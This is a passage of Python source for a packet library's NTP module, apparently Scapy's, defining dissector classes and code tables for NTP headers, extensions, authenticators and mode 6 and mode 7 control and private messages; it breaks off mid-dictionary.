"authenticator" field. """ def getfield(self, pkt, s): ret = None remain = s length = len(s) if length > _NTP_AUTH_MD5_TAIL_SIZE: start = length - _NTP_AUTH_MD5_TAIL_SIZE ret = s[:start] remain = s[start:] return remain, ret class NTPAuthenticator(Packet): """ Packet handling the "authenticator" part of a NTP packet, as defined in RFC 5905. """ name = "Authenticator" fields_desc = [ _NTPAuthenticatorPaddingField("padding", ""), IntField("key_id", 0), XStrFixedLenField("dgst", "", length_from=lambda x: 16) ] def extract_padding(self, s): return b"", s class NTPExtension(Packet): """ Packet handling a NTPv4 extension. """ ######################################################################### # # RFC 7822 ######################################################################### # # 7.5. NTP Extension Field Format # # In NTPv3, one or more extension fields can be inserted after the # header and before the MAC, if a MAC is present. # # Other than defining the field format, this document makes no use # of the field contents. An extension field contains a request or # response message in the format shown in Figure 14. # # 0 1 2 3 # 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ # | Field Type | Length | # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ # . . # . Value . # . . # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ # | Padding (as needed) | # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ # # Figure 14: Extension Field Format # # # All extension fields are zero-padded to a word (four octets) # boundary. ######################################################################### # name = "extension" fields_desc = [ ShortField("type", 0), ShortField("len", 0), PadField(PacketField("value", "", Packet), align=4, padwith=b"\x00") ] class NTPExtPacketListField(PacketListField): """ PacketListField handling NTPv4 extensions (NTPExtension list). """ def m2i(self, pkt, m): ret = None if len(m) >= 16: ret = NTPExtension(m) else: ret = conf.raw_layer(m) return ret def getfield(self, pkt, s): lst = [] remain = s length = len(s) if length > _NTP_AUTH_MD5_TAIL_SIZE: end = length - _NTP_AUTH_MD5_TAIL_SIZE extensions = s[:end] remain = s[end:] extensions_len = len(extensions) while extensions_len >= 16: ext_len = struct.unpack("!H", extensions[2:4])[0] ext_len = min(ext_len, extensions_len) if ext_len < 1: ext_len = extensions_len current = extensions[:ext_len] extensions = extensions[ext_len:] current_packet = self.m2i(pkt, current) lst.append(current_packet) extensions_len = len(extensions) if extensions_len > 0: lst.append(self.m2i(pkt, extensions)) return remain, lst class NTPExtensions(Packet): """ Packet handling the NTPv4 extensions and the "MAC part" of the packet. """ ######################################################################### # # RFC 5905 / RFC 7822 ######################################################################### # # 7.5. NTP Extension Field Format # # In NTPv4, one or more extension fields can be inserted after the # header and before the MAC, if a MAC is present. ######################################################################### # name = "NTPv4 extensions" fields_desc = [ NTPExtPacketListField("extensions", [], Packet), PacketField("mac", NTPAuthenticator(), NTPAuthenticator) ] class NTPHeader(NTP): """ Packet handling the RFC 5905 NTP packet. """ ######################################################################### # # RFC 5905 ######################################################################### # # 0 1 2 3 # 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ # |LI | VN |Mode | Stratum | Poll | Precision | # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ # | Root Delay | # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ # | Root Dispersion | # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ # | Reference ID | # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ # | | # + Reference Timestamp (64) + # | | # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ # | | # + Origin Timestamp (64) + # | | # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ # | | # + Receive Timestamp (64) + # | | # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ # | | # + Transmit Timestamp (64) + # | | # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ # | | # . . # . Extension Field 1 (variable) . # . . # | | # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ # | | # . . # . Extension Field 2 (variable) . # . . # | | # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ # | Key Identifier | # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ # | | # | dgst (128) | # | | # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ # # Figure 8: Packet Header Format ######################################################################### # name = "NTPHeader" match_subclass = True fields_desc = [ BitEnumField("leap", 0, 2, _leap_indicator), BitField("version", 4, 3), BitEnumField("mode", 3, 3, _ntp_modes), BitField("stratum", 2, 8), BitField("poll", 0xa, 8), BitField("precision", 0, 8), FixedPointField("delay", 0, size=32, frac_bits=16), FixedPointField("dispersion", 0, size=32, frac_bits=16), ConditionalField(IPField("id", "127.0.0.1"), lambda p: p.stratum > 1), ConditionalField( StrFixedLenEnumField( "ref_id", "", length=4, enum=_reference_identifiers ), lambda p: p.stratum < 2 ), TimeStampField("ref", 0), TimeStampField("orig", None), TimeStampField("recv", 0), TimeStampField("sent", None), ] def guess_payload_class(self, payload): """ Handles NTPv4 extensions and MAC part (when authentication is used.) """ plen = len(payload) if plen - 4 in [16, 20, 32, 64]: # length of MD5, SHA1, SHA256, SHA512 return NTPAuthenticator elif plen > _NTP_AUTH_MD5_TAIL_SIZE: return NTPExtensions return Packet.guess_payload_class(self, payload) class _NTPInvalidDataException(Exception): """ Raised when it is not possible to instantiate a NTP packet with the given data. """ def __init__(self, details): Exception.__init__( self, "Data does not seem to be a valid NTP message" + details ) ############################################################################## # Private (mode 7) ############################################################################## # Operation codes _op_codes = { 0: "CTL_OP_UNSPEC", 1: "CTL_OP_READSTAT", 2: "CTL_OP_READVAR", 3: "CTL_OP_WRITEVAR", 4: "CTL_OP_READCLOCK", 5: "CTL_OP_WRITECLOCK", 6: "CTL_OP_SETTRAP", 7: "CTL_OP_ASYNCMSG", 8: "CTL_OP_CONFIGURE", 9: "CTL_OP_SAVECONFIG", 10: "CTL_OP_READ_MRU", 11: "CTL_OP_READ_ORDLIST_A", 12: "CTL_OP_REQ_NONCE", 31: "CTL_OP_UNSETTRAP" } # System status words _system_statuses = { 0: "no warning", 1: "last minute was 61 seconds", 2: "last minute was 59 seconds", 3: "alarm condition (clock not synchronized)" } _clock_sources = { 0: "unspecified or unknown", 1: " Calibrated atomic clock", 2: "VLF (band 4) or LF (band 5) radio", 3: "HF (band 7) radio", 4: "UHF (band 9) satellite", 5: "local net", 6: "UDP/NTP", 7: "UDP/TIME", 8: "eyeball-and-wristwatch", 9: "telephone modem" } _system_event_codes = { 0: "unspecified", 1: "system restart", 2: "system or hardware fault", 3: "system new status word (leap bits or synchronization change)", 4: "system new synchronization source or stratum (sys.peer or sys.stratum change)", # noqa: E501 5: "system clock reset (offset correction exceeds CLOCK.MAX)", 6: "system invalid time or date", 7: "system clock exception", } # Peer status words _peer_statuses = { 0: "configured", 1: "authentication enabled", 2: "authentication okay", 3: "reachability okay", 4: "reserved" } _peer_selection = { 0: "rejected", 1: "passed sanity checks", 2: "passed correctness checks", 3: "passed candidate checks", 4: "passed outlyer checks", 5: "current synchronization source; max distance exceeded", 6: "current synchronization source; max distance okay", 7: "reserved" } _peer_event_codes = { 0: "unspecified", 1: "peer IP error", 2: "peer authentication failure", 3: "peer unreachable", 4: "peer reachable", 5: "peer clock exception", } # Clock status words _clock_statuses = { 0: "clock operating within nominals", 1: "reply timeout", 2: "bad reply format", 3: "hardware or software fault", 4: "propagation failure", 5: "bad date format or value", 6: "bad time format or value" } # Error status words _error_statuses = { 0: "unspecified", 1: "authentication failure", 2: "invalid message length or format", 3: "invalid opcode", 4: "unknown association identifier", 5: "unknown variable name", 6: "invalid variable value", 7: "administratively prohibited" } class NTPStatusPacket(Packet): """ Packet handling a non specific status word. """ name = "status" fields_desc = [ShortField("status", 0)] def extract_padding(self, s): return b"", s class NTPSystemStatusPacket(Packet): """ Packet handling the system status fields. """ name = "system status" fields_desc = [ BitEnumField("leap_indicator", 0, 2, _system_statuses), BitEnumField("clock_source", 0, 6, _clock_sources), BitField("system_event_counter", 0, 4), BitEnumField("system_event_code", 0, 4, _system_event_codes), ] def extract_padding(self, s): return b"", s class NTPPeerStatusPacket(Packet): """ Packet handling the peer status fields. """ name = "peer status" fields_desc = [ BitField("configured", 0, 1), BitField("auth_enabled", 0, 1), BitField("authentic", 0, 1), BitField("reachability", 0, 1), BitField("reserved", 0, 1), BitEnumField("peer_sel", 0, 3, _peer_selection), BitField("peer_event_counter", 0, 4), BitEnumField("peer_event_code", 0, 4, _peer_event_codes), ] def extract_padding(self, s): return b"", s class NTPClockStatusPacket(Packet): """ Packet handling the clock status fields. """ name = "clock status" fields_desc = [ BitEnumField("clock_status", 0, 8, _clock_statuses), BitField("code", 0, 8) ] def extract_padding(self, s): return b"", s class NTPErrorStatusPacket(Packet): """ Packet handling the error status fields. """ name = "error status" fields_desc = [ BitEnumField("error_code", 0, 8, _error_statuses), BitField("reserved", 0, 8) ] def extract_padding(self, s): return b"", s class NTPControlStatusField(PacketField): """ This field provides better readability for the "status" field. """ ######################################################################### # # RFC 1305 ######################################################################### # # Appendix B.3. Commands // ntpd source code: ntp_control.h ######################################################################### # def m2i(self, pkt, m): ret = None association_id = struct.unpack("!H", m[2:4])[0] if pkt.err == 1: ret = NTPErrorStatusPacket(m) # op_code == CTL_OP_READSTAT elif pkt.op_code == 1: if association_id != 0: ret = NTPPeerStatusPacket(m) else: ret = NTPSystemStatusPacket(m) # op_code == CTL_OP_READVAR elif pkt.op_code == 2: if association_id != 0: ret = NTPPeerStatusPacket(m) else: ret = NTPSystemStatusPacket(m) # op_code == CTL_OP_WRITEVAR elif pkt.op_code == 3: ret = NTPStatusPacket(m) # op_code == CTL_OP_READCLOCK or op_code == CTL_OP_WRITECLOCK elif pkt.op_code == 4 or pkt.op_code == 5: ret = NTPClockStatusPacket(m) else: ret = NTPStatusPacket(m) return ret class NTPPeerStatusDataPacket(Packet): """ Packet handling the data field when op_code is CTL_OP_READSTAT and the association_id field is null. """ name = "data / peer status" fields_desc = [ ShortField("association_id", 0), PacketField("peer_status", NTPPeerStatusPacket(), NTPPeerStatusPacket), ] class NTPControlDataPacketLenField(PacketLenField): """ PacketField handling the "data" field of NTP control messages. """ def m2i(self, pkt, m): ret = None # op_code == CTL_OP_READSTAT if pkt.op_code == 1: if pkt.association_id == 0: # Data contains association ID and peer status ret = NTPPeerStatusDataPacket(m) else: ret = conf.raw_layer(m) else: ret = conf.raw_layer(m) return ret def getfield(self, pkt, s): length = self.length_from(pkt) i = None if length > 0: # RFC 1305 # The maximum number of data octets is 468. # # include/ntp_control.h # u_char data[480 + MAX_MAC_LEN]; /* data + auth */ # # Set the minimum length to 480 - 468 length = max(12, length) if length % 4: length += (4 - length % 4) try: i = self.m2i(pkt, s[:length]) except Exception: if conf.debug_dissector: raise i = conf.raw_layer(load=s[:length]) return s[length:], i class NTPControl(NTP): """ Packet handling NTP mode 6 / "Control" messages. """ ######################################################################### # # RFC 1305 ######################################################################### # # Appendix B.3. Commands // ntpd source code: ntp_control.h ######################################################################### # name = "Control message" match_subclass = True fields_desc = [ BitField("zeros", 0, 2), BitField("version", 2, 3), BitField("mode", 6, 3), BitField("response", 0, 1), BitField("err", 0, 1), BitField("more", 0, 1), BitEnumField("op_code", 0, 5, _op_codes), ShortField("sequence", 0), ConditionalField(NTPControlStatusField( "status_word", "", Packet), lambda p: p.response == 1), ConditionalField(ShortField("status", 0), lambda p: p.response == 0), ShortField("association_id", 0), ShortField("offset", 0), ShortField("count", None), NTPControlDataPacketLenField( "data", "", Packet, length_from=lambda p: p.count), PacketField("authenticator", "", NTPAuthenticator), ] def post_build(self, p, pay): if self.count is None: length = 0 if self.data: length = len(self.data) p = p[:11] + struct.pack("!H", length) + p[13:] return p + pay ############################################################################## # Private (mode 7) ############################################################################## _information_error_codes = { 0: "INFO_OKAY", 1: "INFO_ERR_IMPL", 2: "INFO_ERR_REQ", 3: "INFO_ERR_FMT", 4: "INFO_ERR_NODATA", 7: "INFO_ERR_AUTH" } _implementations = { 0: "IMPL_UNIV", 2: "IMPL_XNTPD_OLD", 3: "XNTPD" } _request_codes = { 0: "REQ_PEER_LIST", 1: "REQ_PEER_LIST_SUM", 2: "REQ_PEER_INFO", 3: "REQ_PEER_STATS", 4: "REQ_SYS_INFO", 5: "REQ_SYS_STATS", 6: "REQ_IO_STATS", 7: "REQ_MEM_STATS", 8: "REQ_LOOP_INFO", 9: "REQ_TIMER_STATS", 10: "REQ_CONFIG", 11: "REQ_UNCONFIG", 12: "REQ_SET_SYS_FLAG", 13: "REQ_CLR_SYS_FLAG", 14: "REQ_MONITOR", 15: "REQ_NOMONITOR", 16: "REQ_GET_RESTRICT", 17: "REQ_RESADDFLAGS", 18: "REQ_RESSUBFLAGS", 19: "REQ_UNRESTRICT", 20: "REQ_MON_GETLIST", 21: "REQ_RESET_STATS", 22: "REQ_RESET_PEER", 23: "REQ_REREAD_KEYS", 24: "REQ_DO_DIRTY_HACK", 25: "REQ_DONT_DIRTY_HACK", 26: "REQ_TRUSTKEY", 27: "REQ_UNTRUSTKEY", 28: "REQ_AUTHINFO", 29: "REQ_TRAPS", 30: "REQ_ADD_TRAP", 31: "REQ_CLR_TRAP", 32: "REQ_REQUEST_KEY", 33: "REQ_CONTROL_KEY", 34: "REQ_GET_CTLSTATS", 35: "REQ_GET_LEAPINFO", 36: "REQ_GET_CLOCKINFO", 37: "REQ_SET_CLKFUDGE", 38: "REQ_GET_KERNEL", 39: "REQ_GET_CLKBUGINFO", 41: "REQ_SET_PRECISION", 42: "REQ_MON_GETLIST_1", 43: "REQ_HOSTNAME_ASSOCID", 44: "REQ_IF_STATS", 45: "REQ_IF_RELOAD" } # Flags in the peer information returns _peer_flags = [ "INFO_FLAG_CONFIG", "INFO_FLAG_SYSPEER", "INFO_FLAG_BURST", "INFO_FLAG_REFCLOCK", "INFO_FLAG_PREFER", "INFO_FLAG_AUTHENABLE", "INFO_FLAG_SEL_CANDIDATE", "INFO_FLAG_SHORTLIST", "INFO_FLAG_IBURST" ] # Flags in the system information returns _sys_info_flags = [ "INFO_FLAG_BCLIENT", "INFO_FLAG_AUTHENTICATE", "INFO_FLAG_NTP", "INFO_FLAG_KERNEL", "INFO_FLAG_CAL", "INFO_FLAG_PPS_SYNC", "INFO_FLAG_MONITOR", "INFO_FLAG_FILEGEN", ] class NTPInfoPeerList(Packet): """ Used to return raw lists of peers. """ name = "info_peer_list" fields_desc = [ IPField("addr", "0.0.0.0"), ShortField("port", 0), ByteEnumField("hmode", 0, _ntp_modes), FlagsField("flags", 0, 8, _peer_flags), IntField("v6_flag", 0), IntField("unused1", 0), IP6Field("addr6", "::") ] class NTPInfoPeerSummary(Packet): """ Sort of the info that ntpdc returns by default. """ name = "info_peer_summary" fields_desc = [ IPField("dstaddr", "0.0.0.0"), IPField("srcaddr", "0.0.0.0"), ShortField("srcport", 0), ByteField("stratum", 0), ByteField("hpoll", 0), ByteField("ppoll", 0), ByteField("reach", 0), FlagsField("flags", 0, 8, _peer_flags), ByteField("hmode", _ntp_modes), FixedPointField("delay", 0, size=32, frac_bits=16), TimeStampField("offset", 0), FixedPointField("dispersion", 0, size=32, frac_bits=16), IntField("v6_flag", 0), IntField("unused1", 0), IP6Field("dstaddr6", "::"), IP6Field("srcaddr6", "::") ] class NTPInfoPeer(Packet): """ Peer information structure. """ name = "info_peer" fields_desc = [ IPField("dstaddr", "0.0.0.0"), IPField("srcaddr", "0.0.0.0"), ShortField("srcport", 0), FlagsField("flags", 0, 8, _peer_flags), ByteField("leap", 0), ByteEnumField("hmode", 0, _ntp_modes), ByteField("pmode", 0), ByteField("stratum", 0), ByteField("ppoll", 0), ByteField("hpoll", 0), SignedByteField("precision", 0), ByteField("version", 0), ByteField("unused8", 0), ByteField("reach", 0), ByteField("unreach", 0), XByteField("flash", 0), ByteField("ttl", 0), XLEShortField("flash2", 0), ShortField("associd", 0), LEIntField("keyid", 0), IntField("pkeyid", 0), IPField("refid", 0), IntField("timer", 0), FixedPointField("rootdelay", 0, size=32, frac_bits=16), FixedPointField("rootdispersion", 0, size=32, frac_bits=16), TimeStampField("reftime", 0), TimeStampField("org", 0), TimeStampField("rec", 0), TimeStampField("xmt", 0), FieldListField( "filtdelay", [0.0 for i in range(0, _NTP_SHIFT)], FixedPointField("", 0, size=32, frac_bits=16), count_from=lambda p: _NTP_SHIFT ), FieldListField( "filtoffset", [0.0 for i in range(0, _NTP_SHIFT)], TimeStampField("", 0), count_from=lambda p: _NTP_SHIFT ), FieldListField( "order", [0 for i in range(0, _NTP_SHIFT)], ByteField("", 0), count_from=lambda p: _NTP_SHIFT ), FixedPointField("delay", 0, size=32, frac_bits=16), FixedPointField("dispersion", 0, size=32, frac_bits=16), TimeStampField("offset", 0), FixedPointField("selectdisp", 0, size=32, frac_bits=16), IntField("unused1", 0), IntField("unused2", 0), IntField("unused3", 0), IntField("unused4", 0), IntField("unused5", 0), IntField("unused6", 0), IntField("unused7", 0), FixedPointField("estbdelay", 0, size=32, frac_bits=16), IntField("v6_flag", 0), IntField("unused9", 0), IP6Field("dstaddr6", "::"), IP6Field("srcaddr6", "::"), ] class NTPInfoPeerStats(Packet): """ Peer statistics structure. """ name = "info_peer_stats" fields_desc = [ IPField("dstaddr", "0.0.0.0"), IPField("srcaddr", "0.0.0.0"), ShortField("srcport", 0), FlagsField("flags", 0, 16, _peer_flags), IntField("timereset", 0), IntField("timereceived", 0), IntField("timetosend", 0), IntField("timereachable", 0), IntField("sent", 0), IntField("unused1", 0), IntField("processed", 0), IntField("unused2", 0), IntField("badauth", 0), IntField("bogusorg", 0), IntField("oldpkt", 0), IntField("unused3", 0), IntField("unused4", 0), IntField("seldisp", 0), IntField("selbroken", 0), IntField("unused5", 0), ByteField("candidate", 0), ByteField("unused6", 0), ByteField("unused7", 0), ByteField("unused8", 0), IntField("v6_flag", 0), IntField("unused9", 0), IP6Field("dstaddr6", "::"), IP6Field("srcaddr6", "::"), ] class NTPInfoLoop(Packet): """ Loop filter variables. """ name = "info_loop" fields_desc = [ TimeStampField("last_offset", 0), TimeStampField("drift_comp", 0), IntField("compliance", 0), IntField("watchdog_timer", 0) ] class NTPInfoSys(Packet): """ System info. Mostly the sys.* variables, plus a few unique to the implementation. """ name = "info_sys" fields_desc = [ IPField("peer", "0.0.0.0"), ByteField("peer_mode", 0), ByteField("leap", 0), ByteField("stratum", 0), ByteField("precision", 0), FixedPointField("rootdelay", 0, size=32, frac_bits=16), FixedPointField("rootdispersion", 0, size=32, frac_bits=16), IPField("refid", 0), TimeStampField("reftime", 0), IntField("poll", 0), FlagsField("flags", 0, 8, _sys_info_flags), ByteField("unused1", 0), ByteField("unused2", 0), ByteField("unused3", 0), FixedPointField("bdelay", 0, size=32, frac_bits=16), FixedPointField("frequency", 0, size=32, frac_bits=16), TimeStampField("authdelay", 0), FixedPointField("stability", 0, size=32, frac_bits=16), IntField("v6_flag", 0), IntField("unused4", 0), IP6Field("peer6", "::") ] class NTPInfoSysStats(Packet): """ System stats. These are collected in the protocol module. """ name = "info_sys_stats" fields_desc = [ IntField("timeup", 0), IntField("timereset", 0), IntField("denied", 0), IntField("oldversionpkt", 0), IntField("newversionpkt", 0), IntField("unknownversion", 0), IntField("badlength", 0), IntField("processed", 0), IntField("badauth", 0), IntField("received", 0), IntField("limitrejected", 0) ] class NTPInfoMemStats(Packet): """ Peer memory statistics. """ name = "info_mem_stats" fields_desc = [ IntField("timereset", 0), ShortField("totalpeermem", 0), ShortField("freepeermem", 0), IntField("findpeer_calls", 0), IntField("allocations", 0), IntField("demobilizations", 0), FieldListField( "hashcount", [0.0 for i in range(0, _NTP_HASH_SIZE)], ByteField("", 0), count_from=lambda p: _NTP_HASH_SIZE ) ] class NTPInfoIOStats(Packet): """ I/O statistics. """ name = "info_io_stats" fields_desc = [ IntField("timereset", 0), ShortField("totalrecvbufs", 0), ShortField("freerecvbufs", 0), ShortField("fullrecvbufs", 0), ShortField("lowwater", 0), IntField("dropped", 0), IntField("ignored", 0), IntField("received", 0), IntField("sent", 0), IntField("notsent", 0), IntField("interrupts", 0), IntField("int_received", 0) ] class NTPInfoTimerStats(Packet): """ Timer stats. """ name = "info_timer_stats" fields_desc = [ IntField("timereset", 0), IntField("alarms", 0), IntField("overflows", 0), IntField("xmtcalls", 0), ] _conf_peer_flags = [ "CONF_FLAG_AUTHENABLE", "CONF_FLAG_PREFER", "CONF_FLAG_BURST", "CONF_FLAG_IBURST", "CONF_FLAG_NOSELECT", "CONF_FLAG_SKEY" ] class NTPConfPeer(Packet): """ Structure for passing peer configuration information. """ name = "conf_peer" fields_desc = [ IPField("peeraddr", "0.0.0.0"), ByteField("hmode", 0), ByteField("version", 0), ByteField("minpoll", 0), ByteField("maxpoll", 0), FlagsField("flags", 0, 8, _conf_peer_flags), ByteField("ttl", 0), ShortField("unused1", 0), IntField("keyid", 0), StrFixedLenField("keystr", "", length=128), IntField("v6_flag", 0), IntField("unused2", 0), IP6Field("peeraddr6", "::") ] class NTPConfUnpeer(Packet): """ Structure for passing peer deletion information. """ name = "conf_unpeer" fields_desc = [ IPField("peeraddr", "0.0.0.0"), IntField("v6_flag", 0), IP6Field("peeraddr6", "::") ] _restrict_flags = [ "RES_IGNORE", "RES_DONTSERVE", "RES_DONTTRUST", "RES_VERSION", "RES_NOPEER", "RES_LIMITED", "RES_NOQUERY", "RES_NOMODIFY", "RES_NOTRAP", "RES_LPTRAP", "RES_KOD", "RES_MSSNTP", "RES_FLAKE", "RES_NOMRULIST", ] class NTPConfRestrict(Packet): """ Structure used for specifying restrict entries. """ name = "conf_restrict" fields_desc = [ IPField("addr", "0.0.0.0"), IPField("mask", "0.0.0.0"), FlagsField("flags", 0, 16, _restrict_flags), ShortField("m_flags", 0), IntField("v6_flag", 0), IP6Field("addr6", "::"), IP6Field("mask6", "::") ] class NTPInfoKernel(Packet): """ Structure used for returning kernel pll/PPS information """ name = "info_kernel" fields_desc = [ IntField("offset", 0), IntField("freq", 0), IntField("maxerror", 0), IntField("esterror", 0), ShortField("status", 0), ShortField("shift", 0), IntField("constant", 0), IntField("precision", 0), IntField("tolerance", 0), IntField("ppsfreq", 0), IntField("jitter", 0), IntField("stabil", 0), IntField("jitcnt", 0), IntField("calcnt", 0), IntField("errcnt", 0), IntField("stbcnt", 0), ] class NTPInfoIfStatsIPv4(Packet): """ Interface statistics. """ name = "info_if_stats" fields_desc = [ PadField(IPField("unaddr", "0.0.0.0"), 16, padwith=b"\x00"), PadField(IPField("unbcast", "0.0.0.0"), 16, padwith=b"\x00"), PadField(IPField("unmask", "0.0.0.0"), 16, padwith=b"\x00"), IntField("v6_flag", 0), StrFixedLenField("ifname", "", length=32), IntField("flags", 0), IntField("last_ttl", 0), IntField("num_mcast", 0), IntField("received", 0), IntField("sent", 0), IntField("notsent", 0), IntField("uptime", 0), IntField("scopeid", 0), IntField("ifindex", 0), IntField("ifnum", 0), IntField("peercnt", 0), ShortField("family", 0), ByteField("ignore_packets", 0), ByteField("action", 0), IntField("_filler0", 0) ] class NTPInfoIfStatsIPv6(Packet): """ Interface statistics. """ name = "info_if_stats" fields_desc = [ IP6Field("unaddr", "::"), IP6Field("unbcast", "::"), IP6Field("unmask", "::"), IntField("v6_flag", 0), StrFixedLenField("ifname", "", length=32), IntField("flags", 0), IntField("last_ttl", 0), IntField("num_mcast", 0), IntField("received", 0), IntField("sent", 0), IntField("notsent", 0), IntField("uptime", 0), IntField("scopeid", 0), IntField("ifindex", 0), IntField("ifnum", 0), IntField("peercnt", 0), ShortField("family", 0), ByteField("ignore_packets", 0), ByteField("action", 0), IntField("_filler0", 0) ] class NTPInfoMonitor1(Packet): """ Structure used for returning monitor data. """ name = "InfoMonitor1" fields_desc = [ IntField("lasttime", 0), IntField("firsttime", 0), IntField("lastdrop", 0), IntField("count", 0), IPField("addr", "0.0.0.0"), IPField("daddr", "0.0.0.0"), IntField("flags", 0), ShortField("port", 0), ByteField("mode", 0), ByteField("version", 0), IntField("v6_flag", 0), IntField("unused1", 0), IP6Field("addr6", "::"), IP6Field("daddr6", "::") ] class NTPInfoAuth(Packet): """ Structure used to return information concerning the authentication module. """ name = "info_auth" fields_desc = [ IntField("timereset", 0), IntField("numkeys", 0), IntField("numfreekeys", 0), IntField("keylookups", 0), IntField("keynotfound", 0), IntField("encryptions", 0), IntField("decryptions", 0), IntField("expired", 0), IntField("keyuncached", 0), ] class NTPConfTrap(Packet): """ Structure used to pass add/clear trap information to the client """ name = "conf_trap" fields_desc = [ IPField("local_address", "0.0.0.0"), IPField("trap_address", "0.0.0.0"), ShortField("trap_port", 0), ShortField("unused", 0), IntField("v6_flag", 0), IP6Field("local_address6", "::"), IP6Field("trap_address6", "::"), ] class NTPInfoControl(Packet): """ Structure used to return statistics from the control module. """ name = "info_control" fields_desc = [ IntField("ctltimereset", 0), IntField("numctlreq", 0), IntField("numctlbadpkts", 0), IntField("numctlresponses", 0), IntField("numctlfrags", 0), IntField("numctlerrors", 0), IntField("numctltooshort", 0), IntField("numctlinputresp", 0), IntField("numctlinputfrag", 0), IntField("numctlinputerr", 0), IntField("numctlbadoffset", 0), IntField("numctlbadversion", 0), IntField("numctldatatooshort", 0), IntField("numctlbadop", 0), IntField("numasyncmsgs", 0), ] # ntp_request.h _ntpd_private_errors = { 0: "no error", 1: "incompatible implementation number", 2: "unimplemented request code", 3: "format error (wrong data items, data size, packet size etc.)", 4: "no data available (e.g. request for details on unknown peer)", 5: "I don\"t know", 6: "I don\"t know", 7: "authentication failure (i.e. permission denied)", } # dict mapping request codes to the right response data class _private_data_objects = { 0: NTPInfoPeerList, # "REQ_PEER_LIST", 1: NTPInfoPeerSummary, # "REQ_PEER_LIST_SUM", 2: NTPInfoPeer, # "REQ_PEER_INFO", 3: NTPInfoPeerStats, # "REQ_PEER_STATS", 4: NTPInfoSys, # "REQ_SYS_INFO", 5: NTPInfoSysStats, # "REQ_SYS_STATS", 6: NTPInfoIOStats, # "REQ_IO_STATS", 7: NTPInfoMemStats, # "REQ_MEM_STATS", 8: NTPInfoLoop, # "REQ_LOOP_INFO", 9: NTPInfoTimerStats, # "REQ_TIMER_STATS", 10: NTPConfPeer, # "REQ_CONFIG", 11: NTPConfUnpeer, # "REQ_UNCONFIG", 28: NTPInfoAuth, # "REQ_AUTHINFO", 30: NTPConfTrap, # "REQ_ADD_TRAP", 34: NTPInfoControl, # "REQ_GET_CTLSTATS", 38: NTPInfoKernel, # "REQ_GET_KERNEL", 42: NTPInfoMonitor1, # "REQ_MON_GETLIST_1", } class NTPPrivateRespPacketListField(PacketListField): """ PacketListField handling the response data. """ def m2i(self, pkt, s): ret = None # info_if_stats if pkt.request_code == 44 or pkt.request_code == 45: is_v6 = struct.unpack("!I", s[48:52])[0] ret = NTPInfoIfStatsIPv6(s) if is_v6 else NTPInfoIfStatsIPv4(s) else: ret = _private_data_objects.get(pkt.request_code, conf.raw_layer)(s) # noqa: E501 return ret def getfield(self, pkt, s): lst = [] remain = s length = pkt.data_item_size if length > 0: item_counter = 0 # Response payloads can be placed in several packets while len(remain) >= pkt.data_item_size and item_counter < pkt.nb_items: # noqa: E501 current = remain[:length] remain = remain[length:] current_packet = self.m2i(pkt, current) lst.append(current_packet) item_counter += 1 return remain, lst class NTPPrivateReqPacket(Packet): """ Packet handling request data. """ name = "request data" fields_desc = [StrField("req_data", "")] _request_codes = { 0: "REQ_PEER_LIST", 1: "REQ_PEER_LIST_SUM", 2: "REQ_PEER_INFO", 3: "REQ_PEER_STATS", 4: "REQ_SYS_INFO", 5: "REQ_SYS_STATS", 6: "REQ_IO_STATS", 7: "REQ_MEM_STATS", 8: "REQ_LOOP_INFO", 9: "REQ_TIMER_STATS", 10: "REQ_CONFIG", 11: "REQ_UNCONFIG", 12: "REQ_SET_SYS_FLAG", 13: "REQ_CLR_SYS_FLAG", 14: "REQ_MONITOR", 15: "REQ_NOMONITOR", 16: "REQ_GET_RESTRICT", 17: "REQ_RESADDFLAGS", 18: "REQ_RESSUBFLAGS", 19: "REQ_UNRESTRICT", 20: "REQ_MON_GETLIST", 21: "REQ_RESET_STATS", 22: "REQ_RESET_PEER", 23: "REQ_REREAD_KEYS", 24: "REQ_DO_DIRTY_HACK", 25: "REQ_DONT_DIRTY_HACK", 26: "REQ_TRUSTKEY", 27: "REQ_UNTRUSTKEY", 28: "REQ_AUTHINFO", 29: "REQ_TRAPS", 30: "REQ_ADD_TRAP", 31: "REQ_CLR_TRAP", 32: "REQ_REQUEST_KEY", 33: "REQ_CONTROL_KEY", 34: 